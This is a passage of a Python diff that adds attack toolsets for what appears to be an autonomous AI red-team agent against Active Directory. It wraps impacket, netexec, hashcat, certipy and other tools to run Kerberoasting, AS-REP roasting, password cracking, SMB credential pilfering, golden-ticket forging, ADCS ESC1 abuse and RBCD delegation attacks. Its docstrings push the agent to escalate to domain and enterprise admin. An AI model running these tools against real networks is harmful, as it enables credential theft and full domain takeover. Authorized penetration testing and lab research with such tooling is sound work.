+ with Service Principal Names (SPNs). These hashes can be cracked offline to
+ obtain service account passwords, which often have elevated privileges.
+
+ Args:
+ domain: Target domain (e.g., 'example.local')
+ username: Valid domain username
+ password: Password for the username
+ dc_ip: Domain controller IP address
+
+ Returns:
+ Kerberos TGS hashes for service accounts that can be cracked offline
+
+ Example:
+ >>> kerberoast("example.local", "user", "pass", "192.168.1.100")
+ """
+ cmd = [
+ "/usr/bin/impacket-GetUserSPNs",
+ f"{domain}/{username}:{password}",
+ "-dc-ip",
+ dc_ip,
+ "-request",
+ ]
+
+ try:
+ logger.info(f"[*] Kerberoasting {domain} using {username}")
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60)
+ return result.stdout
+
+ except subprocess.TimeoutExpired:
+ return "Error: Kerberoasting timed out"
+ except Exception as e:
+ return f"Kerberoasting failed: {e!s}"
+
+ @dn.tool_method
+ def asrep_roast(
+ self,
+ domain: str,
+ username: str,
+ password: str,
+ dc_ip: str,
+ ) -> str:
+ """
+ Perform AS-REP roasting attack to find users without Kerberos pre-authentication.
+
+ AS-REP roasting targets users with "Do not require Kerberos preauthentication"
+ enabled. This misconfiguration allows extracting AS-REP hashes that can be
+ cracked offline to obtain user passwords.
+
+ Args:
+ domain: Target domain (e.g., 'example.local')
+ username: Valid domain username (for enumeration)
+ password: Password for the username
+ dc_ip: Domain controller IP address
+
+ Returns:
+ AS-REP hashes for vulnerable user accounts
+
+ Example:
+ >>> asrep_roast("example.local", "user", "pass", "192.168.1.100")
+ """
+ cmd = [
+ "/usr/bin/impacket-GetNPUsers",
+ f"{domain}/{username}:{password}",
+ "-dc-ip",
+ dc_ip,
+ "-request",
+ ]
+
+ try:
+ logger.info(f"[*] AS-REP roasting {domain} using {username}")
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60)
+ return result.stdout
+
+ except subprocess.TimeoutExpired:
+ return "Error: AS-REP roasting timed out"
+ except Exception as e:
+ return f"AS-REP roasting failed: {e!s}"
+
+ @dn.tool_method
+ def domain_admin_checker(
+ self,
+ targets: str,
+ username: str,
+ password: str = "",
+ hash: str = "",
+ ) -> str:
+ """
+ Check if a compromised account has domain admin privileges across multiple targets.
+
+ This tool is CRITICAL for identifying domain admin access. When you find an
+ Administrator hash or password, IMMEDIATELY use this tool to check ALL targets.
+ Look for "Pwn3d!" in the output which indicates administrative access.
+
+ Args:
+ targets: Space-separated IP addresses to check
+ username: Username for authentication
+ password: Password for authentication (optional)
+ hash: NTLM hash for pass-the-hash authentication (optional)
+
+ Returns:
+ Results showing which targets the account has admin access on
+
+ Example:
+ >>> domain_admin_checker("192.168.1.100 192.168.1.101", "Administrator", password="P@ss") # pragma: allowlist secret
+ >>> domain_admin_checker("192.168.1.100 192.168.1.101", "Administrator", hash="aad3b4...")
+ """
+ try:
+ cmd = ["netexec", "smb"] + targets.split(" ")
+
+ if password:
+ logger.info(f"[*] Domain admin checker using password for {username}")
+ cmd.extend(["-u", username, "-p", password])
+ elif hash:
+ logger.info(f"[*] Domain admin checker using hash for {username}")
+ cmd.extend(["-u", username, "-H", hash])
+ else:
+ return "[!] Error: Either password or hash must be provided"
+
+ cmd.extend(["-x", "whoami"])
+
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120)
+
+ output = ""
+ if result.stdout:
+ output += result.stdout
+ if result.stderr:
+ output += "\n" + result.stderr if output else result.stderr
+
+ logger.info(f"[*] Domain admin check completed for {targets}")
+ return output
+
+ except subprocess.TimeoutExpired:
+ return f"Domain admin checker timed out for {targets}"
+ except Exception as e:
+ logger.error(f"Domain admin checker failed: {e}")
+ return f"Domain admin checker failed: {e}"
+
+
+class CrackingTools(Toolset):
+ """Tools for password hash cracking."""
+
+ state: RedTeamState | None = None
+
+ def set_state(self, state: RedTeamState) -> None:
+ """Set the operation state for this toolset."""
+ self.state = state
+
+ @dn.tool_method
+ def crack_with_hashcat(
+ self,
+ hash_value: str,
+ hashcat_mode: int = 13100,
+ wordlist_path: str = "/usr/share/wordlists/rockyou.txt",
+ max_time_minutes: int = 10,
+ ) -> str:
+ """
+ Attempt to crack a password hash using hashcat (GPU-accelerated).
+
+ Hashcat is faster than John the Ripper when GPU is available. Use this FIRST.
+ Common hash modes: NTLM (1000), Kerberos TGS (13100), Kerberos AS-REP (18200).
+
+ **IMMEDIATELY report any successful cracks - don't wait for completion.**
+
+ Args:
+ hash_value: Hash to crack
+ hashcat_mode: Hashcat mode (-m parameter). Common modes:
+ - 1000: NTLM
+ - 13100: Kerberos TGS ($krb5tgs$)
+ - 18200: Kerberos AS-REP ($krb5asrep$)
+ wordlist_path: Path to wordlist file (default: rockyou.txt)
+ max_time_minutes: Maximum time to spend cracking (default: 10 minutes)
+
+ Returns:
+ Cracked passwords if successful, otherwise error message
+
+ Example:
+ >>> crack_with_hashcat("aad3b435b51404ee...", 1000) # NTLM
+ >>> crack_with_hashcat("$krb5tgs$23$*user$...", 13100) # Kerberos TGS
+ """
+ output = "[*] Starting hashcat...\n"
+
+ try:
+ with tempfile.NamedTemporaryFile(mode="w", suffix=".hash", delete=False) as hash_file:
+ hash_file.write(hash_value)
+ hash_file_path = hash_file.name
+
+ try:
+ cmd = [
+ "hashcat",
+ "-m",
+ str(hashcat_mode),
+ "-a",
+ "0",
+ hash_file_path,
+ wordlist_path,
+ "--runtime",
+ str(max_time_minutes * 60),
+ "--force",
+ ]
+
+ _result = subprocess.run(
+ cmd,
+ check=False,
+ capture_output=True,
+ text=True,
+ timeout=(max_time_minutes * 60) + 30,
+ )
+
+ show_cmd = ["hashcat", "-m", str(hashcat_mode), hash_file_path, "--show"]
+
+ show_result = subprocess.run(
+ show_cmd,
+ check=False,
+ capture_output=True,
+ text=True,
+ timeout=30,
+ )
+
+ if show_result.stdout.strip():
+ output += "\n✓ CRACKED PASSWORDS:\n" + show_result.stdout
+ logger.info("[+] Hashcat successfully cracked hash")
+ else:
+ output += "\n✗ No passwords cracked"
+
+ return output
+
+ finally:
+ if os.path.exists(hash_file_path):
+ os.unlink(hash_file_path)
+
+ except subprocess.TimeoutExpired:
+ return output + "\nError: Hashcat timed out"
+ except Exception as e:
+ return output + f"\nError: {e!s}"
+
+ @dn.tool_method
+ def crack_with_john(
+ self,
+ hash_value: str,
+ hash_format: str = "krb5asrep",
+ wordlist_path: str = "/usr/share/wordlists/rockyou.txt",
+ max_time_minutes: int = 10,
+ ) -> str:
+ """
+ Attempt to crack a password hash using John the Ripper (CPU-based).
+
+ Use this as a fallback if hashcat fails or is unavailable. John is CPU-based
+ and slower than hashcat, but more compatible with various hash formats.
+
+ Common formats: ntlm, krb5asrep, krb5tgs
+
+ Args:
+ hash_value: Hash to crack
+ hash_format: John hash format. Common formats:
+ - ntlm: NTLM hashes
+ - krb5asrep: Kerberos AS-REP hashes
+ - krb5tgs: Kerberos TGS hashes
+ wordlist_path: Path to wordlist file (default: rockyou.txt)
+ max_time_minutes: Maximum time to spend cracking (default: 10 minutes)
+
+ Returns:
+ Cracked passwords if successful, otherwise error message
+
+ Example:
+ >>> crack_with_john("$krb5asrep$23$user@...", "krb5asrep")
+ >>> crack_with_john("aad3b435b51404ee...", "ntlm")
+ """
+ output = "[*] Starting John the Ripper...\n"
+
+ try:
+ with tempfile.NamedTemporaryFile(mode="w", suffix=".hash", delete=False) as hash_file:
+ hash_file.write(hash_value)
+ hash_file_path = hash_file.name
+
+ try:
+ session_name = f"john_session_{int(time.time())}"
+ cmd = [
+ "john",
+ "--wordlist=" + wordlist_path,
+ "--format=" + hash_format,
+ hash_file_path,
+ "--session=" + session_name,
+ ]
+
+ subprocess.run(
+ cmd,
+ check=False,
+ capture_output=True,
+ text=True,
+ timeout=(max_time_minutes * 60) + 30,
+ )
+
+ show_cmd = ["john", "--show", "--format=" + hash_format, hash_file_path]
+
+ show_result = subprocess.run(
+ show_cmd,
+ check=False,
+ capture_output=True,
+ text=True,
+ timeout=30,
+ )
+
+ if show_result.stdout.strip():
+ output += "\n✓ CRACKED PASSWORDS:\n" + show_result.stdout
+ logger.info("[+] John successfully cracked hash")
+ else:
+ output += "\n✗ No passwords cracked"
+
+ return output
+
+ finally:
+ if os.path.exists(hash_file_path):
+ os.unlink(hash_file_path)
+
+ session_files = [
+ f"{session_name}.pot",
+ f"{session_name}.rec",
+ f"{session_name}.log",
+ ]
+ for session_file in session_files:
+ if os.path.exists(session_file):
+ try:
+ os.unlink(session_file)
+ except Exception:
+ pass
+
+ except subprocess.TimeoutExpired:
+ return output + "\nError: John the Ripper timed out"
+ except Exception as e:
+ return output + f"\nError: {e!s}"
+
+
+class SharePilferingTools(Toolset):
+ """Tools for extracting credentials from SMB shares."""
+
+ state: RedTeamState | None = None
+
+ def set_state(self, state: RedTeamState) -> None:
+ """Set the operation state for this toolset."""
+ self.state = state
+
+ @dn.tool_method
+ def enumerate_share_files(
+ self,
+ target: str,
+ share_name: str,
+ username: str,
+ password: str,
+ ) -> str:
+ """
+ Recursively enumerate all files in an SMB share to find credential-bearing files.
+
+ This is the FIRST step in share pilfering. Use this to discover interesting files,
+ then use download_file_content to examine them. Prioritize files with extensions:
+ .ps1, .bat, .cmd, .xml, .ini, .conf, .config
+
+ Args:
+ target: Target IP address
+ share_name: Name of the SMB share (e.g., 'SYSVOL', 'C$', 'NETLOGON')
+ username: Username for authentication
+ password: Password for authentication
+
+ Returns:
+ Recursive file listing of the share
+
+ Example:
+ >>> enumerate_share_files("192.168.1.100", "SYSVOL", "user", "pass")
+ """
+ share_path = f"//{target}/{share_name}"
+
+ try:
+ cmd = [
+ "smbclient",
+ share_path,
+ "-U",
+ f"{username}%{password}",
+ "-c",
+ "recurse ON; ls",
+ ]
+
+ logger.info(f"[*] Enumerating files in {share_path}")
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120)
+
+ if result.returncode != 0:
+ logger.error(f"[!] Failed to list files: {result.stderr}")
+ return f"Failed to list files: {result.stderr}"
+
+ return result.stdout
+
+ except subprocess.TimeoutExpired:
+ logger.error(f"[!] File enumeration timed out for {share_path}")
+ return "File enumeration timed out"
+ except Exception as e:
+ logger.error(f"[!] Error during enumeration: {e!s}")
+ return f"Error during enumeration: {e!s}"
+
+ @dn.tool_method
+ def download_file_content(
+ self,
+ target: str,
+ share_name: str,
+ file_path: str,
+ username: str,
+ password: str,
+ max_size_mb: int = 5,
+ ) -> str:
+ """
+ Download and return the content of a file from an SMB share.
+
+ Use this after enumerate_share_files to examine promising files. Look for:
+ - Plaintext passwords in PowerShell scripts
+ - GPP cpassword values in XML files
+ - Connection strings in config files
+ - API keys and tokens
+
+ Args:
+ target: Target IP address
+ share_name: Name of the SMB share
+ file_path: Path to the file within the share (e.g., 'scripts/deploy.ps1')
+ username: Username for authentication
+ password: Password for authentication
+ max_size_mb: Maximum file size to download in MB (default: 5)
+
+ Returns:
+ Content of the downloaded file
+
+ Example:
+ >>> download_file_content("192.168.1.100", "SYSVOL", "Policies/script.ps1", "user", "pass")
+ """
+ share_path = f"//{target}/{share_name}"
+
+ try:
+ cmd = [
+ "smbclient",
+ share_path,
+ "-U",
+ f"{username}%{password}",
+ "-c",
+ f"get {file_path} /dev/stdout",
+ ]
+
+ logger.info(f"[*] Downloading {file_path} from {share_path}")
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60)
+
+ if result.returncode != 0:
+ logger.error(f"[!] Failed to download file: {result.stderr}")
+ return f"Failed to download file: {result.stderr}"
+
+ content = result.stdout
+ logger.info(f"[+] Downloaded {len(content)} bytes from {file_path}")
+
+ # Log that share was accessed
+ if self.state:
+ logger.info(f"[+] Successfully accessed share {share_name} on {target}")
+
+ return content
+
+ except subprocess.TimeoutExpired:
+ logger.error(f"[!] File download timed out for {file_path}")
+ return "File download timed out"
+ except Exception as e:
+ logger.error(f"[!] Error downloading file: {e!s}")
+ return f"Error downloading file: {e!s}"
+
+
+class GoldenTicketTools(Toolset):
+ """Tools for Kerberos golden ticket generation and domain escalation."""
+
+ state: RedTeamState | None = None
+
+ def set_state(self, state: RedTeamState) -> None:
+ """Set the operation state for this toolset."""
+ self.state = state
+
+ @dn.tool_method
+ def get_sid(
+ self,
+ domain: str,
+ username: str,
+ password: str,
+ dc_ip: str | None = None,
+ ) -> str:
+ """
+ Get the SID (Security Identifier) of a domain.
+
+ This is required for golden ticket generation. You need to get SIDs for BOTH:
+ 1. The compromised domain (where you have the krbtgt hash)
+ 2. The target domain (where you want to escalate)
+
+ Args:
+ domain: Target domain (e.g., 'subdomain.example.local')
+ username: Valid domain username
+ password: Password for the username
+ dc_ip: Optional DC IP address to connect to (recommended to avoid DNS issues)
+
+ Returns:
+ Domain SID and list of domain users (look for "[*] Domain SID is: ...")
+
+ Example:
+ >>> get_sid("child.example.local", "user", "pass", "192.168.1.100")
+ >>> get_sid("parent.example.local", "user", "pass", "192.168.1.101")
+ """
+ if dc_ip:
+ cmd = ["impacket-lookupsid", f"{domain}/{username}:{password}@{dc_ip}"]
+ logger.info(f"[*] Getting SID for {domain} using {username} via DC {dc_ip}")
+ else:
+ cmd = ["impacket-lookupsid", f"{username}:{password}@{domain}"]
+ logger.info(f"[*] Getting SID for {domain} using {username}")
+
+ try:
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120)
+ logger.info(f"[*] SID lookup completed for {domain}")
+ return result.stdout
+ except subprocess.TimeoutExpired:
+ return "Error: SID lookup timed out"
+ except Exception as e:
+ return f"Error: {e!s}"
+
+ @dn.tool_method
+ def generate_golden_ticket(
+ self,
+ krbtgt_hash: str,
+ domain_sid: str,
+ domain: str,
+ extra_sid: str,
+ ) -> str:
+ """
+ Generate a Kerberos golden ticket for Administrator to enable domain escalation.
+
+ **This is the ULTIMATE privilege escalation technique.** A golden ticket gives
+ you persistent, enterprise-level access to the entire domain forest.
+
+ CRITICAL: The extra_sid should be the target domain SID with "-519" appended
+ (Enterprise Admins group). This enables cross-domain privilege escalation.
+
+ Args:
+ krbtgt_hash: NTLM hash of the krbtgt account (from secretsdump)
+ domain_sid: SID of the compromised domain (from get_sid)
+ domain: Domain to generate ticket for (same as domain_sid domain)
+ extra_sid: Target domain SID with "-519" appended (Enterprise Admins)
+
+ Returns:
+ Golden ticket generation output (saves to Administrator.ccache)
+
+ Example:
+ >>> generate_golden_ticket(
+ ... "abc123...", # krbtgt hash
+ ... "S-1-5-21-123-456-789", # compromised domain SID
+ ... "child.example.local", # compromised domain
+ ... "S-1-5-21-111-222-333-519" # target domain SID + 519
+ ... )
+ """
+ cmd = [
+ "impacket-ticketer",
+ "-nthash",
+ krbtgt_hash,
+ "-domain-sid",
+ domain_sid,
+ "-domain",
+ domain,
+ "-extra-sid",
+ extra_sid,
+ "-user-id",
+ "500",
+ "Administrator",
+ ]
+
+ try:
+ logger.info("[*] Generating golden ticket for Administrator")
+ logger.info(f"[*] Domain: {domain}, SID: {domain_sid}, Extra SID: {extra_sid}")
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120)
+
+ if self.state:
+ self.state.has_golden_ticket = True
+ # Add timeline event
+ event = TimelineEvent(
+ id=f"evt-{len(self.state.timeline):04d}",
+ timestamp=datetime.now(timezone.utc),
+ description=f"Golden ticket generated for {domain}",
+ mitre_techniques=["T1558.001"], # Golden Ticket
+ confidence=1.0,
+ source="golden_ticket_generation",
+ )
+ self.state.timeline.append(event)
+
+ return result.stdout
+ except subprocess.TimeoutExpired:
+ return "Error: Golden ticket generation timed out"
+ except Exception as e:
+ return f"Error: {e!s}"
+
+
+class BloodHoundTools(Toolset):
+ """Tools for ACL enumeration and privilege escalation path discovery."""
+
+ state: RedTeamState | None = None
+
+ def set_state(self, state: RedTeamState) -> None:
+ """Set the operation state for this toolset."""
+ self.state = state
+
+ @dn.tool_method
+ def run_bloodhound(
+ self,
+ domain: str,
+ username: str,
+ password: str,
+ dc_ip: str,
+ ) -> str:
+ """
+ Run BloodHound collection to discover ACL abuse paths and delegation.
+
+ BloodHound reveals hidden privilege escalation opportunities:
+ - Users with GenericAll/GenericWrite (shadow credentials, targeted kerberoast)
+ - Unconstrained/constrained delegation
+ - Shortest paths to Domain Admins
+ - ACL-based attack chains
+
+ CRITICAL: Run this with ANY valid credentials to find escalation paths.
+
+ Args:
+ domain: Target domain (e.g., 'sevenkingdoms.local')
+ username: Valid domain username
+ password: Password for authentication
+ dc_ip: Domain controller IP address
+
+ Returns:
+ Status and JSON file paths for analysis
+
+ Example:
+ >>> run_bloodhound("sevenkingdoms.local", "samwell.tarly", "Heartsbane", "192.168.56.10")
+ """
+ cmd = [
+ "bloodhound-python",
+ "-d",
+ domain,
+ "-u",
+ username,
+ "-p",
+ password,
+ "-ns",
+ dc_ip,
+ "-c",
+ "All",
+ ]
+
+ try:
+ logger.info(f"[*] Running BloodHound collection for {domain}")
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=600)
+
+ logger.info("[+] BloodHound collection completed")
+ return result.stdout + "\n" + result.stderr
+
+ except subprocess.TimeoutExpired:
+ return "BloodHound collection timed out after 10 minutes"
+ except Exception as e:
+ logger.error(f"BloodHound failed: {e}")
+ return f"BloodHound failed: {e}"
+
+
+class CertipyTools(Toolset):
+ """Tools for Active Directory Certificate Services exploitation."""
+
+ state: RedTeamState | None = None
+
+ def set_state(self, state: RedTeamState) -> None:
+ """Set the operation state for this toolset."""
+ self.state = state
+
+ @dn.tool_method
+ def certipy_find(
+ self,
+ domain: str,
+ username: str,
+ password: str,
+ dc_ip: str,
+ ) -> str:
+ """
+ Enumerate ADCS for vulnerable certificate templates (ESC1-15).
+
+ ADCS misconfigurations enable privilege escalation to Domain Admin:
+ - ESC1: Request cert as any user (including Domain Admin)
+ - ESC2/3: Any Purpose EKU or Certificate Request Agent
+ - ESC4: Vulnerable template ACLs
+ - ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2
+ - ESC8: NTLM relay to web enrollment
+
+ If vulnerable templates found, use certipy_exploit_esc1 to escalate.
+
+ Args:
+ domain: Target domain
+ username: Valid domain username
+ password: Password for authentication
+ dc_ip: Domain controller IP address
+
+ Returns:
+ List of CAs and vulnerable certificate templates
+
+ Example:
+ >>> certipy_find("sevenkingdoms.local", "samwell.tarly", "Heartsbane", "192.168.56.10")
+ """
+ cmd = [
+ "certipy",
+ "find",
+ "-u",
+ f"{username}@{domain}",
+ "-p",
+ password,
+ "-dc-ip",
+ dc_ip,
+ "-vulnerable",
+ "-stdout",
+ ]
+
+ try:
+ logger.info(f"[*] Enumerating ADCS for {domain}")
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=300)
+
+ if "ESC" in result.stdout:
+ logger.warning("[!] VULNERABLE CERTIFICATE TEMPLATES FOUND!")
+
+ return result.stdout + "\n" + result.stderr
+
+ except subprocess.TimeoutExpired:
+ return "Certipy enumeration timed out"
+ except Exception as e:
+ return f"Certipy enumeration failed: {e}"
+
+ @dn.tool_method
+ def certipy_req_esc1(
+ self,
+ domain: str,
+ username: str,
+ password: str,
+ ca_name: str,
+ template_name: str,
+ target_upn: str,
+ dc_ip: str,
+ ) -> str:
+ """
+ Exploit ESC1 to request certificate for any user (Domain Admin path).
+
+ ESC1 allows requesting certs for ANY user when template has
+ "Enrollee Supplies Subject". Direct path to Domain Admin.
+
+ After obtaining cert, use certipy_auth to get NTLM hash.
+
+ Args:
+ domain: Target domain
+ username: Your compromised username
+ password: Password for authentication
+ ca_name: CA name from certipy_find
+ template_name: Vulnerable template name
+ target_upn: Target UPN (e.g., 'administrator@sevenkingdoms.local')
+ dc_ip: Domain controller IP
+
+ Returns:
+ Certificate PFX file path
+
+ Example:
+ >>> certipy_req_esc1("sevenkingdoms.local", "user", "pass", "CA-NAME", "ESC1Template", "administrator@sevenkingdoms.local", "192.168.56.10")
+ """
+ cmd = [
+ "certipy",
+ "req",
+ "-u",
+ f"{username}@{domain}",
+ "-p",
+ password,
+ "-dc-ip",
+ dc_ip,
+ "-ca",
+ ca_name,
+ "-template",
+ template_name,
+ "-upn",
+ target_upn,
+ ]
+
+ try:
+ logger.info(f"[*] Requesting certificate for {target_upn} via ESC1")
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120)
+
+ if "saved" in result.stdout.lower():
+ logger.info("[+] Certificate obtained! Use certipy_auth next.")
+
+ return result.stdout + "\n" + result.stderr
+
+ except subprocess.TimeoutExpired:
+ return "Certificate request timed out"
+ except Exception as e:
+ return f"Certificate request failed: {e}"
+
+ @dn.tool_method
+ def certipy_auth(self, pfx_path: str, dc_ip: str) -> str:
+ """
+ Authenticate with certificate to obtain NTLM hash.
+
+ Use after certipy_req_esc1 to get the target user's NTLM hash.
+ IMMEDIATELY use the hash with domain_admin_checker.
+
+ Args:
+ pfx_path: Path to PFX certificate file
+ dc_ip: Domain controller IP address
+
+ Returns:
+ NTLM hash for the authenticated user
+
+ Example:
+ >>> certipy_auth("administrator.pfx", "192.168.56.10")
+ """
+ cmd = ["certipy", "auth", "-pfx", pfx_path, "-dc-ip", dc_ip]
+
+ try:
+ logger.info("[*] Authenticating with certificate")
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60)
+
+ if "hash" in result.stdout.lower():
+ logger.info("[+] NTLM hash obtained! Run domain_admin_checker.")
+
+ return result.stdout + "\n" + result.stderr
+
+ except subprocess.TimeoutExpired:
+ return "Certificate authentication timed out"
+ except Exception as e:
+ return f"Certificate authentication failed: {e}"
+
+
+class DelegationTools(Toolset):
+ """Tools for Kerberos delegation attacks (RBCD, unconstrained, constrained)."""
+
+ state: RedTeamState | None = None
+
+ def set_state(self, state: RedTeamState) -> None:
+ """Set the operation state for this toolset."""
+ self.state = state
+
+ @dn.tool_method
+ def find_delegation(
+ self,
+ domain: str,
+ username: str,
+ password: str,
+ dc_ip: str,
+ ) -> str:
+ """
+ Find accounts with delegation enabled.
+
+ Delegation enables privilege escalation:
+ - Unconstrained: Capture TGTs from connecting users (DC compromise)
+ - Constrained: Impersonate users to specific services
+ - RBCD: Attacker-controlled delegation (requires GenericWrite)
+
+ Args:
+ domain: Target domain
+ username: Valid domain username
+ password: Password for authentication
+ dc_ip: Domain controller IP address
+
+ Returns:
+ List of accounts with delegation
+
+ Example:
+ >>> find_delegation("sevenkingdoms.local", "samwell.tarly", "Heartsbane", "192.168.56.10")
+ """
+ cmd = [
+ "impacket-findDelegation",
+ f"{domain}/{username}:{password}",
+ "-dc-ip",
+ dc_ip,
+ ]
+
+ try:
+ logger.info(f"[*] Searching for delegation in {domain}")
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120)
+ return result.stdout
+ except subprocess.TimeoutExpired:
+ return "Delegation search timed out"
+ except Exception as e:
+ return f"Delegation search failed: {e}"
+
+ @dn.tool_method
+ def add_computer(
+ self,
+ domain: str,
+ username: str,
+ password: str,
+ computer_name: str,
+ computer_password: str,
+ dc_ip: str,
+ ) -> str:
+ """
+ Add computer account (requires MAQ > 0, default is 10).
+
+ Computer accounts required for RBCD attacks.
+
+ Args:
+ domain: Target domain
+ username: Valid domain username
+ password: Password for authentication
+ computer_name: Name for new computer (without $)
+ computer_password: Password for the computer account
+ dc_ip: Domain controller IP
+
+ Returns:
+ Status of computer account creation
+
+ Example:
+ >>> add_computer("sevenkingdoms.local", "user", "pass", "EVILPC", "P@ss123!", "192.168.56.10")
+ """
+ cmd = [
+ "impacket-addcomputer",
+ f"{domain}/{username}:{password}",
+ "-computer-name",
+ computer_name,
+ "-computer-pass",
+ computer_password,
+ "-dc-ip",
+ dc_ip,
+ ]
+
+ try:
+ logger.info(f"[*] Adding computer account {computer_name}")
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60)
+ logger.info(f"[+] Computer account {computer_name}$ created")
+ return result.stdout
+ except subprocess.TimeoutExpired:
+ return "Computer account creation timed out"
+ except Exception as e:
+ return f"Computer account creation failed: {e}"
+
+ @dn.tool_method
+ def rbcd_write(
+ self,
+ domain: str,
+ username: str,
+ password: str,
+ delegate_from: str,
+ delegate_to: str,
+ dc_ip: str,
+ ) -> str:
+ """
+ Configure RBCD for privilege escalation.
+
+ Attack chain: add_computer -> rbcd_write -> get_st -> secretsdump
+
+ Args:
+ domain: Target domain
+ username: Username with GenericWrite on target
+ password: Password for authentication
+ delegate_from: Your controlled computer (with $)
+ delegate_to: Target computer (with $)
+ dc_ip: Domain controller IP
+
+ Returns:
+ Status of RBCD configuration
+
+ Example:
+ >>> rbcd_write("sevenkingdoms.local", "user", "pass", "EVILPC$", "DC01$", "192.168.56.10")
+ """
+ cmd = [
+ "impacket-rbcd",
+ "-delegate-from",
+ delegate_from,
+ "-delegate-to",
+ delegate_to,
+ "-action",
+ "write",
+ f"{domain}/{username}:{password}",
+ "-dc-ip",
+ dc_ip,
+ ]
+
+ try:
+ logger.info(f"[*] Configuring RBCD: {delegate_from} -> {delegate_to}")
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120)
+ logger.info("[+] RBCD configured - use get_st next")
+ return result.stdout
+ except subprocess.TimeoutExpired:
+ return "RBCD configuration timed out"
+ except Exception as e:
+ return f"RBCD configuration failed: {e}"
+
+ @dn.tool_method
+ def get_st(
+ self,
+ domain: str,
+ computer_name: str,
+ computer_password: str,
+ target_spn: str,
+ impersonate_user: str,
+ dc_ip: str,
+ ) -> str:
+ """
+ Request service ticket while impersonating user (after RBCD).
+
+ After rbcd_write, get ticket as Administrator for target service.
+
+ Args:
+ domain: Target domain
+ computer_name: Your controlled computer (with $)
+ computer_password: Computer password
+ target_spn: Target SPN (e.g., 'cifs/dc01.sevenkingdoms.local')
+ impersonate_user: User to impersonate ('Administrator')
+ dc_ip: Domain controller IP
+
+ Returns:
+ Service ticket saved as .ccache - use with KRB5CCNAME
+
+ Example:
+ >>> get_st("sevenkingdoms.local", "EVILPC$", "P@ss!", "cifs/dc01.sevenkingdoms.local", "Administrator", "192.168.56.10")
+ """
+ cmd = [
+ "impacket-getST",
+ "-spn",
+ target_spn,
+ "-impersonate",
+ impersonate_user,
+ "-dc-ip",
+ dc_ip,
+ f"{domain}/{computer_name}:{computer_password}",
+ ]
+
+ try:
+ logger.info(f"[*] Requesting ST for {target_spn} as {impersonate_user}")
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120)
+
+ if ".ccache" in result.stdout:
+ logger.info("[+] Ticket obtained! Export KRB5CCNAME and use secretsdump -k")
+
+ return result.stdout
+ except subprocess.TimeoutExpired:
+ return "Service ticket request timed out"
+ except Exception as e:
+ return f"Service ticket request failed: {e}"
+
+
+class RedTeamReportingTools(Toolset):
+ """Tools for recording findings and building the operation report."""
+
+ state: RedTeamState | None = None
+
+ def set_state(self, state: RedTeamState) -> None:
+ """Set the operation state for this toolset."""
+ self.state = state
+
+ @dn.tool_method
+ def record_finding(
+ self,
+ finding_type: str,
+ data: dict[str, Any],
+ ) -> str:
+ """
+ Record a discovery during the red team operation.
+
+ Use this tool to report EVERY significant finding:
+ - Users discovered
+ - Credentials (username:password pairs)
+ - NTLM hashes
+ - Kerberos hashes
+ - Network shares
+ - Cracked passwords
+ - Administrative access (Pwn3d!)
+ - Domain admin discovery
+ - Golden ticket success
+
+ Args:
+ finding_type: Type of finding - one of:
+ "host", "user", "credential", "hash", "share",
+ "admin_access", "domain_admin", "golden_ticket"
+ data: Dictionary containing the finding data. Required fields per type:
+ - host: {"ip": str, "hostname": str, "os": str, "roles": list, "services": list}
+ - user: {"username": str, "domain": str, "description": str, "is_admin": bool}
+ - credential: {"username": str, "password": str, "domain": str, "source": str, "is_admin": bool}
+ - hash: {"username": str, "hash_value": str, "hash_type": str, "domain": str, "cracked_password": str}
+ - share: {"host": str, "name": str, "permissions": str, "comment": str}
+ - admin_access: {"details": str}
+
+ Returns:
+ Confirmation message
+
+ Example:
+ >>> record_finding("credential", {
+ ... "username": "administrator",
+ ... "password": "P@ssw0rd", # pragma: allowlist secret
+ ... "domain": "EXAMPLE",
+ ... "source": "secretsdump",
+ ... "is_admin": True
+ ... })
+ >>> record_finding("hash", {
+ ... "username": "Administrator",
+ ... "hash_value": "aad3b435b51404ee...",
+ ... "hash_type": "NTLM",
+ ... "domain": "EXAMPLE"
+ ... })
+ >>> record_finding("share", {
+ ... "host": "192.168.1.100",
+ ... "name": "SYSVOL",
+ ... "permissions": "READ",
+ ... "comment": "Logon server share"
+ ... })
+ """
+ if not self.state:
+ return "[!] Error: No operation state available"
+
+ try:
+ if finding_type == "host":
+ host = Host(
+ ip=data["ip"],
+ hostname=data.get("hostname", "Unknown"),
+ os=data.get("os", "Unknown"),
+ roles=data.get(
+ "roles", data.get("host_type", "").split() if data.get("host_type") else []
+ ),
+ services=data.get("services", []),
+ )
+ self.state.hosts.append(host)
+ logger.info(f"[+] Recorded host: {host.hostname} ({host.ip})")
+ return f"✓ Recorded host: {host.hostname} ({host.ip})"
+
+ if finding_type == "user":
+ user = User(
+ username=data["username"],
+ domain=data.get("domain", ""),
+ description=data.get("description", ""),
+ is_admin=data.get("is_admin", False),
+ )
+ self.state.users.append(user)
+ logger.info(f"[+] Recorded user: {user.username}@{user.domain}")
+ return f"✓ Recorded user: {user.username}@{user.domain}"
+
+ if finding_type == "credential":
+ cred = Credential(
+ username=data.get("username", "Unknown"),
+ password=data.get("password", ""),
+ domain=data.get("domain", ""),
+ source=data.get("source", "unknown"),
+ is_admin=data.get("is_admin", False),
+ )
+ self.state.credentials.append(cred)
+
+ # Track tested credentials
+ cred_key = self.state.get_credential_key(cred.username, cred.password, cred.domain)
+ self.state.tested_credentials.add(cred_key)
+
+ logger.info(f"[+] Recorded credential: {cred.username}@{cred.domain}")
+ return f"✓ Recorded credential: {cred.username}@{cred.domain}"
+
+ if finding_type == "hash":
+ hash_obj = Hash(
